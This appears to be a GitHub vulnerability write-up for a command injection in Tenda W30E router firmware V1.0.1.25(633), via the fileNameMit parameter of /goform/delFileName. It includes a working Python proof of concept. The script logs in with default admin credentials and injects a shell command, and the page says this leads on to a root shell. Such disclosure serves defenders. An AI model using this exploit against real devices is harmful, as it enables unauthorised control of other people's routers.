Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Tenda W30E V1.0.1.25(633) command injection vulnerability

Firmware information

Affected version

Vulnerability details

In /goform/delFileName, fileNameMit will be strtok into v5, and finally put into doSystemCmd. It is worth noting that there is not too much checking, which leads to command injection vulnerability

Poc

import requests

cmd = b'fileNameMit=;ls -al . > ./tmp/test;'

url = b"http://192.168.10.103/login/Auth"
payload = b"http://192.168.10.103/goform/delFileName/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()

You can see that the command was executed successfully, and finally you can write exp to get the root shell